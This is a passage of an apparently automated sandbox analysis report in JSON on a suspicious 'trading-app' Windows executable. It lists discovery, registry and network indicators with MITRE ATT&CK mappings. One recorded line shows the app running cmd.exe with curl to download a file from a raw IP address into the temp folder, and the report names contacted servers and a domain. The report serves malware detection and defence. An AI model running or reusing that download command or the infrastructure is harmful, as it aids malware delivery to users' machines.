Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$34","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"trading-app.exe\" queries volume information of \"C:\\\" at 00000000-00006124-00000C17-710528283","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"trading-app-Windows-1.0.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"trading-app.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"trading-app.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"trading-app-Windows-1.0.0.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\TRADING-APP-WINDOWS-1.0.0.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"trading-app-Windows-1.0.0.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Online Application Hosting Domain (supabase .co in TLS SNI)\" (SID: 2050130, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Supabase Development Platform Related Domain in DNS Lookup\" (SID: 2049132, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup Domain in DNS Lookup (ipinfo .io)\" (SID: 2054168, Rev: 1, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"\n Detected alert \"ET INFO Possible External IP Lookup Domain Observed in SNI (ipinfo. io)\" (SID: 2025331, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$35","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"trading-app.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$36","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a named pipe","description":"\"trading-app.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\?\\pipe\\uv\\FFFFFFFFFFFFFFFF-6124\"\n dwOpenMode: \"1074528259\"\n dwPipeMode: \"0\" - (UID: 00000000-00006124)\n \"trading-app.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\?\\pipe\\uv\\0000000000000000-6124\"\n dwOpenMode: \"1074528259\"\n dwPipeMode: \"0\" - (UID: 00000000-00006124)\n \"trading-app.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\?\\pipe\\uv\\0000000000000001-6124\"\n dwOpenMode: \"1074528259\"\n dwPipeMode: \"0\" - (UID: 00000000-00006124)\n \"trading-app.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\?\\pipe\\uv\\0000000000000002-6124\"\n dwOpenMode: \"1074528259\"\n dwPipeMode: \"0\" - (UID: 00000000-00006124)\n \"trading-app.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\?\\pipe\\uv\\0000000000000003-6124\"\n dwOpenMode: \"1074528259\"\n dwPipeMode: \"0\" - (UID: 00000000-00006124)\n \"trading-app.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\?\\pipe\\uv\\0000000000000004-6124\"\n dwOpenMode: \"1074528259\"\n dwPipeMode: \"0\" - (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-275","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"trading-app-Windows-1.0.0.exe\" called \"CreateProcessW\" with parameter \"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe\" - (UID: 00000000-00004416)\n \"trading-app.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\system32\\cmd.exe /d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"\" - (UID: 00000000-00006124)\n \"trading-app.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe\" --type=utility --utility-sub-type=network.mojom.\" - (UID: 00000000-00006124)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"$37","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$38","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$39","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"fashdefi.store:6168\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"77.37.74.86:6168\"\n \"144.172.95.226:1224\"\n \"34.117.59.81:443\"\n \"104.18.38.10:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: vulkan-1.dll)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"trading-app-Windows-1.0.0.exe\")\n file/memory contains long string with (Indicator: \"GetLastError\"; File: \"System.dll\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$3c","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\"C:\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \"c:\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00004416.00000000.107553.031D0000.00000004.mdmp\n 00000000-00004416.00000001.109475.031D0000.00000004.mdmp\n 00000000-00004416.00000001.109475.04DE0000.00000002.mdmp\n 00000000-00004416.00000002.111392.031D0000.00000004.mdmp\n \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\desktop.ini\" (Indicator: \"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00004416.00000000.107553.031D0000.00000004.mdmp\n 00000000-00004416.00000001.109475.031D0000.00000004.mdmp\n 00000000-00004416.00000001.109475.04DE0000.00000002.mdmp\n 00000000-00004416.00000002.111392.031D0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\" in Source: trading-app-Windows-1.0.0.exe","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4416:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:4416:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4416:64:WilError_01\"\n \"\\BaseNamedObjects\\SyncRootManager\"\n \"SM0:4416:64:WilError_01\"\n \"Local\\SM0:4416:168:WilStaging_02\"\n \"Local\\SM0:4416:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:6124:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6124:304:WilStaging_02\"\n \"Local\\SM0:6124:304:WilStaging_02\"\n \"SM0:6124:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$3d","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\mojo.6124.7804.16444984069540420653\n Found string - \\\\.\\pipe\\mojo.6124.7804.9286532624032301722\n Found string - \\\\.\\pipe\\mojo.6124.7804.15719478592410128008\n Found string - \\\\.\\pipe\\mojo.6124.7804.2598634555025846736\n Found string - \\\\.\\pipe\\mojo.6124.7804.2097971912900199148\n Found string - \\\\.\\pipe\\mojo.6124.7804.12793793590908240116\n Found string - \\\\.\\pipe\\mojo.6124.7804.8434980144209155425\n Found string - \\\\.\\pipe\\mojo.6124.7804.18189121060971530312\n Found string - \\\\.\\pipe\\mojo.6124.7804.574052522979784663\n Found string - \\\\.\\pipe\\mojo.6124.7804.11138110057424455593\n Found string - \\\\.\\pipe\\mojo.6124.7804.12429193863816726128","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"trading-app-Windows-1.0.0.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75690000\n \"trading-app-Windows-1.0.0.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72E30000\n \"trading-app.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 7A1E0000\n \"trading-app.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 78E90000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 7A1E0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"trading-app-Windows-1.0.0.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75C10000\n \"trading-app.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 7C6E0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 7C6E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7ef79fc7f0000@ntdll.dll\"\n \"220023000000000018c7ef79fc7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$3f","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$40","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"vk_swiftshader.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"ffmpeg.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"vulkan-1.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"libEGL.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"nsis7z.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"elevate.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"trading-app-Windows-1.0.0.exe\" has an executable section named \".text\"\n \"vk_swiftshader.dll\" has an executable section named \".text\"\n \"ffmpeg.dll\" has 